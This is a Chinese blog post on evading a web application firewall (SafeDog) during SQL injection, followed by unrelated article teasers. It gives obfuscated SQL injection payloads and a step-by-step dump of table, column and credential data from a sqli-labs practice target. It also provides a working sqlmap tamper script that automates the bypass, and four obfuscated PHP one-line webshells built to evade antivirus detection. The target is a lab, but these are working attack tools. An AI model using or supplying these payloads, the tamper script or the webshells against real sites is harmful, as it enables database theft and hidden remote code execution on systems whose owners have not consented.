python编写修改sqlmap进行_WAF绕过

news2024/11/28 17:56:58

WAF绕过

文章目录

    • WAF绕过
      • 1 waf机制了解
        • 1.1 waf防火墙识别工具
        • 1.2 WAF机制及绕过方法总结: [绕waf参考总结地址](https://www.freebuf.com/articles/web/229982.html)
        • 1.3 绕过waf(安全狗)方式
      • 2 绕过分析 -替换格式
      • 3 编写py脚本绕过安全狗
        • 3.1启动编好的脚本
          • 3.1.1 指令中查看详情级别v3级别不行,使用v4
          • 3.1.2使用v4sqlmap扫描头信息,查看有敏感的sqlmap头,可以使用 --random-agent
          • 3.1.3 使用这条指令
          • 3.1.4 尝试指令联合查询模块(未成功)
      • 4 一句话木马免杀

1 waf机制了解

1.1 waf防火墙识别工具
https://github.com/EnableSecurity/wafw00f

https://github.com/stamparm/identywaf

在这里插入图片描述

在这里插入图片描述

1.2 WAF机制及绕过方法总结: 绕waf参考总结地址
1.3 绕过waf(安全狗)方式

​ 1 脏数据; 2 大小写转换; 3双写; 4 内联注释(/*!or 1=1 */)加!可以执行里面语句

2 绕过分析 -替换格式

and  --》 /*!14400and*/

order by --》 /**/order/*/%0a*a*/by/**/

union select  --》union/*!88888cas*/%a0/*/*!=*/select/**/

union all select  --》  union/*!88888cas*//*/%0a*a*/select/**/

database( )  --》 database(/*!/*/**%0ftest*/*/)

from information schema.schemata --》 /*!from--%0f/*%0ainformation_schema.schemata*/
from information_schema.tables  --》 /*!from--%0f/*%0ainformation_schema.tables*/
from information_schema.columns --》 /*!from--%0f/*%0ainformation_schema.columns*/

http://192.168.225.166/sqli-labs/Less-1/为例:

?id=1' --+
?id=2' --+
?id=2' /*!14400and*/ 1=1 --+
?id=2' /*!14400and*/ 1=2 --+
?id=2' /**/order/*/%0a*a*/by/**/ 4 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,3 --+

?id=1' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,database(/*!/*/**%0fTEST*/*/),3 --+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where table_schema=database(/*!/*/**%0f*/*/) --+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/ table_name='users'--+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,count(*) /*!from--%0f/*%0ausers*/--+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
%0f/*%0ausers*/ limit 1,1--+

3 编写py脚本绕过安全狗

编写脚本saf_bypass.py

#!/usr/bin/env python

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST
def dependencies():
     pass
def tamper(payload, **kwargs):
     payload = re.sub(r"(?i)and", "/*!14400and*/", payload)
     payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", payload)
     payload = re.sub(r"(?i)union select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)
     payload = re.sub(r"(?i)union all select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)
     payload = re.sub(r"(?i)from information_schema.schemata", "/*!from--%0f/*%0ainformation_schema.schemata*/",
                      payload)
     payload = re.sub(r"(?i)from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/",
                      payload)
     payload = re.sub(r"(?i)from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/",
                      payload)
     payload = re.sub(r"(?i)database\(\)", "database(/*!/*/**%0fAJEST*/*/)", payload)
     payload = re.sub(r"(?i)count\(*\)", "count(1)", payload)
     payload = re.sub(r"(?i) as", " /*!14400as*/", payload)
     payload = re.sub(r"(?i)char", "/*!14400char*/", payload)
     return payload
3.1启动编好的脚本
python splmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-1/?id=1" --tamper saf_bypass -v3
3.1.1 指令中查看详情级别v3级别不行,使用v4
-v3 表示以详细程度 3 输出信息,其中 1 表示最低程度的输出,4 表示默认值,5 表示最高程度的输出。如果不指定 -v 参数,默认的输出详细程度是 1。
3.1.2使用v4sqlmap扫描头信息,查看有敏感的sqlmap头,可以使用 --random-agent

在这里插入图片描述
在这里插入图片描述

3.1.3 使用这条指令

在这里插入图片描述
在这里插入图片描述

3.1.4 尝试指令联合查询模块(未成功)

在这里插入图片描述

在这里插入图片描述

4 一句话木马免杀

Example1

<?php
    $ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');
    $ajest($_REQUEST[777]);
?>

Example2

<?php
    class Bypass{
         public $name;
         public $male;
         function __destruct(){
             $a = $this->name;
             $a($this->male);
     }
}
unserialize($_POST['ajest']);
//ajest=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST["x"])";}
?>

Example3

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
function test_alter(&$item1, $key, $prefix)
{
	$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
	echo "$key. $item2<br />\n";
}
echo "Before ...:\n";
array_walk($fruits, 'test_print');
$a =array_keys($fruits);
print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['ajest'];
@$q($r);
?>

Example4

<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1052413.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Bug:elementUI样式不起作用、Vue引入组件报错not found等(Vue+ElementUI问题汇总)

前端问题合集&#xff1a;VueElementUI 1. Vue引用Element-UI时&#xff0c;组件无效果解决方案 前提&#xff1a; 已经安装好elementUI依赖 //安装依赖 npm install element-ui //main.js中导入依赖并在全局中使用 import ElementUI from element-ui Vue.use(ElementUI)如果此…

VBA技术资料MF62:创建形状添加文本及设置颜色

【分享成果&#xff0c;随喜正能量】须知往生净土&#xff0c;全仗信、愿。有信、愿&#xff0c;即未得三昧、未得一心不乱&#xff0c;亦可往生。且莫只以一心不乱&#xff0c;及得念佛三昧为志事&#xff0c;不复以信、愿、净念为事。。 我给VBA的定义&#xff1a;VBA是个人…

OpenWinding PMSM 开绕组永磁同步电机零序电流抑制以及无感控制

文章目录 前言仿真模型观测器速度观测位置观测电流波形A相电流零序电流电流FFT 转矩波形 前言 记录下最近开绕组电机的学习记录。 零序电流抑制&#xff0c;120解耦调制&#xff0c;基于零序电压的转子观测 仿真模型 观测器 速度观测 位置观测 电流波形 A相电流 零序电流 电…

新手怎么做小说推文和短剧推广怎么申请授权

新手想做小说推文和短剧推广可以通过“巨量推文”进行授权 只要你懂发短视频内容&#xff0c;会一点剪辑即可通过短剧推广和小说推文来获取收入 小说推文和短剧都分为cpa和cps模式 另短剧又cpm模式收入&#xff08;按照广告点击&#xff09; cpa为拉新类&#xff0c;cps为充…

1859. 将句子排序

目录 一、题目 二、代码 一、题目 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 二、代码 定义了一个vector<vector<string>> v(MAX);采用const string& word : v[k] word 就会依次取得 v[k] 中的每个元素&#xff08;v[k][0],…

Python学习--with语句

国庆当然要学习了 with语句 with语句可以自动管理上下文资源&#xff0c;不论什么原因跳出with块&#xff0c;都能确保文件正确的关闭&#xff0c;以此来达到释放资源的目的 #跳出with块 文件正确关闭 with open(a.txt,r) as file:print(file.read()) with语句原理 MyConten…

git代码管理 分支相关 新建dev、hot分支,分支协同操作

初始化仓库后 会自动为我们创建master分支&#xff0c;我们也可以自己创建分支&#xff0c;每一个分支都有自己的一套工作区&#xff0c;暂存区&#xff0c;仓库区。 问题情景1 此时正在dev分支上开发新的功能&#xff0c;如果线上产生了一个bug&#xff0c;使用stash存储下在…

Arcgis克里金插值报错:ERROR 999999: 执行函数时出错。 表名无效。 空间参考不存在。 ERROR 010429: GRID IO 中存在错误

ERROR 999999: 执行函数时出错。 问题描述 表名无效。 空间参考不存在。 ERROR 010429: GRID IO 中存在错误: WindowSetLyr: Window cell size does not match layer cell size. name: c:\users\lenovo\appdata\local\temp\arc2f89\t_t164, adepth: 32, type: 1, iomode: 6, …

python: 用百度API读取增值税发票信息

# encoding: utf-8 # 版权所有 2023 涂聚文有限公司 # 许可信息查看&#xff1a; # 描述&#xff1a; # Author : geovindu,Geovin Du 涂聚文. # IDE : PyCharm 2023.1 python 311 # Datetime : 2023/9/30 6:56 # User : geovindu # Product : PyCharm # Proj…

智慧公厕:探索未来公共厕所的创新设计

近年来&#xff0c;随着城市发展的不断科技化&#xff0c;智慧公厕的设计成为了一个备受关注的话题。作为城市基础设施的重要组成部分&#xff0c;公厕不仅仅是简单的功能性建筑&#xff0c;更是体现了城市形象和管理水平的重要指标。在这篇文章中&#xff0c;我们将以智慧公厕…

【python】python实现杨辉三角的三种方法

文章目录 1.杨辉三角介绍&#xff1a;2.方法一&#xff1a;迭代3.方法二&#xff1a;生成器4.方法三&#xff1a;递归 1.杨辉三角介绍&#xff1a; 杨辉三角是一种数学图形&#xff0c;由数字排列成类似三角形的形状。它的每个数值等于它上方两个数值之和。这个三角形的形状可以…

【Linux】CentOS-6.8超详细安装教程

文章目录 1.CentOS介绍&#xff1a;2.必要准备&#xff1a;3.创建虚拟机&#xff1a;4 .安装系统 1.CentOS介绍&#xff1a; CentOS是一种基于开放源代码的Linux操作系统&#xff0c;它以其稳定性、安全性和可靠性而闻名&#xff0c;它有以下特点&#xff1a; 开源性&#xff1…

STM32F4X UCOSIII软件定时器

STM32F4X UCOSIII软件定时器 定时器概念 定时器在MCU中是一个很常用的外设&#xff0c;其作用是可以在某个事件点触发MCU中断&#xff0c;告知MCU处理事情。定时器跟生活中的闹钟很类似&#xff0c;可以设置闹钟每天什么时候响&#xff0c;还能设置响的次数&#xff0c;是响一…

山西电力市场日前价格预测【2023-10-01】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-10-01&#xff09;山西电力市场全天平均日前电价为254.94元/MWh。其中&#xff0c;最高日前电价为399.30元/MWh&#xff0c;预计出现在19: 00。最低日前电价为0.00元/MWh&#xff0c;预计出…

源码编译安装systemtap

目录 编译环境 编译步骤 编译环境 阿里云ubuntu20.04 编译步骤 1 先安装elfutils&#xff0c;参见我的前一篇博客 源码编译elfutils_金色熊族的博客-CSDN博客 2 下载systemtap源码 3 解压 解压后的文件夹与elfutils的文件夹应该是平行的&#xff0c;如下图&#xff1a…

利用mAP计算yolo精确度

当将yolo算法移植部署在嵌入式设备上&#xff0c;为了验证算法的准确率。将模型测试的结果保存为txt文件&#xff08;每一个txt文件&#xff0c;对应一个图片&#xff09;。此外&#xff0c;需要将数据集中的标签由[x,y,w,h]转为[x1,y1,x2,y2]。最后&#xff0c;运行验证代码 …

轻松整理电脑文件:按大小归类保存,高效管理你的数据

你是否曾经在电脑中迷失在纷繁复杂的文件海洋中&#xff1f;你是否曾经花费大量时间搜索需要的文件&#xff0c;却发现它们并不在你想找的地方&#xff1f;如果你也遇到了这样的问题&#xff0c;那么是时候采取行动&#xff0c;对电脑文件进行整理和归类了。 首先。进入文件批…

问答区混赏金的集合贴

此贴专记录CSDN问答社区里面&#xff0c;一些回答者在临近结题时胡乱回答&#xff0c;只为分取结题赏金的人。 为了截图方便&#xff0c;给回答者点赞和点踩不是对其回答的认可和不认可&#xff0c;只是为了方便截图而已 文章目录 第一位——夜深人静的哝玛 (PS:与本人的头像和…

【CUDA编程概念】一、什么是bank conflict?

前言 搜了不少答案&#xff0c;大多是在避免Bank Conflict&#xff0c;很难找到一个关于Bank Conflict的详细定义&#xff0c;这里找了些资料来尝试解释下&#xff1b; 一、基础概念 先简单复习下相关概念 GPU调度执行流程&#xff1a; SM调度单位为一个warp&#xff08;一…

AI-FGNet降噪算法

上一篇文章介绍AI-CGNet降噪算法和AI-GruNet降噪算法&#xff0c;本篇文章介绍一个新的轻量级降噪做法AI-FGNet。 一、模型结构 AI-FGNet网络相比AI-GruNet&#xff0c;额外添加一层全连接实现特征的维度变换&#xff0c;作为频谱压缩、控制计算量的一种手段。此外&#xff0c…